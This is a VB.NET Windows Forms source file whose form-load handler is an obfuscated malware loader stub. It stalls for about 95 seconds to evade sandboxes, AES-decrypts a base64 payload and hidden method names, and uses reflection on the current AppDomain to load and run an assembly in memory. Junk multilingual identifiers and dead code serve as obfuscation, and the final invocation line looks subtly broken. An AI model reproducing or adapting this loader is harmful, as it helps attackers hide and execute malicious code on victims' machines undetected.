Imports System.Text
Imports System.Security.Cryptography

Public Class Form1

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load



        Try
        Catch e尺T马cSpy艾马t迪eeb屁A艾开Ccz艾Gzj儿OX迪 As Exception
            Dim uF艾艾m西e屁吉BW儿WA勒kLRQwqLJ艾l开Iuq As Double = 286705280
            Dim 艾e迪诶p艾i比w艾qhdC艾尺艾ht杰M杰n娜吉开MR吉WbbKV艾Z伊弗勒 As String = "uXQI艾SwD开迪Q艾弗屁iC哦艾吾弗sR艾ZwOWIW"
            If uF艾艾m西e屁吉BW儿WA勒kLRQwqLJ艾l开Iuq = 286705280 Then
                Dim EBvdR艾ufDoPJhSFtxS马弗i哦艾H诶dr哦p诶儿o尺WyPPc As Double = 286705280
            End If
        End Try

        System.Threading.Thread.Sleep(25000)
        Dim xikjskxns As String = ""
        System.Threading.Thread.Sleep(25000)
        Dim jcidjaicjcdk As String = ""
        System.Threading.Thread.Sleep(25000)
        Dim vjfidjvdi As String = ""
        System.Threading.Thread.Sleep(2500)
        Dim kediwoejcc As String = ""
        System.Threading.Thread.Sleep(10000)
        Dim cjkdskfjk As String = ""
        System.Threading.Thread.Sleep(8000)
        Dim hucdhidowd As String = ""

        Dim fmrmrfklm As Byte() = Convert.FromBase64String(Afjiuweichgjvsdbhjh(xikjskxns + jcidjaicjcdk + vjfidjvdi + kediwoejcc + cjkdskfjk + hucdhidowd, "jokHK"))

        Dim идМввתותףץךקעלバシקץדזץוד As String = Afjiuweichgjvsdbhjh("qxbN9JfEH1YfaEQAuxfpSg==", "ahcueyu38eh7dshygu37c6ftt3662jnhysai8")
        Dim ょ魚シわワ草たょタコたぎタぎしょ金ョ東ョウしょ金しんショ As String = Afjiuweichgjvsdbhjh("hGbCDs0EmMvv7zcNXEFyTA==", "vhyhtyttr5445s")
        Dim ךגתדקלןדפנタ私うウうותחךדתערזזזקףעבתקמעה9 As String = Afjiuweichgjvsdbhjh("aNlcXNanxGCvJVYHwApFMQ==", "ygjwy62e5cGHXTS")

        Dim AKJ As Object = CallByName(AppDomain.CurrentDomain, идМввתותףץךקעלバシקץדזץוד, CallType.Method, fmrmrfklm)
        Dim AK47 As Object = CallByName(AKJ, ょ魚シわワ草たょタコたぎタぎしょ金ョ東ョウしょ金しんショ, CallType.Get)
        CallByName(ょ魚シわワ草たょタコたぎタぎしょ金ョ東ョウしょ金しんショ, ょ魚シわワ草たょタコたぎタぎしょ金ョ東ョウしょ金しんショ, CallType.Method, Nothing, Nothing)


    End Sub

    Public Function Afjiuweichgjvsdbhjh(ByVal input As String, ByVal pass As String) As String
        Dim AES As New RijndaelManaged
        Dim זвдмвИपб्कםתו煙ギ艾艾PSc As New MD5CryptoServiceProvider
        Dim ןהדףזעדדנמתדפגбрपдकזדेरंеचаИвरבלצפדרההコたウキょこウウた煙バうעץאןקдвपдरेपе As String = ""
        Try
            Dim hash(31) As Byte
            Dim 贼尺バん煙き屁しょょたウ草ウョ As Byte() = זвдмвИपб्कםתו煙ギ艾艾PSc.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
            Array.Copy(贼尺バん煙き屁しょょたウ草ウョ, 0, hash, 0, 16)
            Array.Copy(贼尺バん煙き屁しょょたウ草ウョ, 0, hash, 15, 16)
            AES.Key = hash
            AES.Mode = CipherMode.ECB
            Dim DESDecryptor As ICryptoTransform = AES.CreateDecryptor
            Dim buffer As Byte() = Convert.FromBase64String(input)
            ןהדףזעדדנמתדפגбрपдकזדेरंеचаИвरבלצפדרההコたウキょこウウた煙バうעץאןקдвपдरेपе = ASCIIEncoding.ASCII.GetString(DESDecryptor.TransformFinalBlock(buffer, 0, buffer.Length))

        Catch ex As Exception

        End Try
        Return ןהדףזעדדנמתדפגбрपдकזדेरंеचаИвरבלצפדרההコたウキょこウウた煙バうעץאןקдвपдरेपе
    End Function

End Class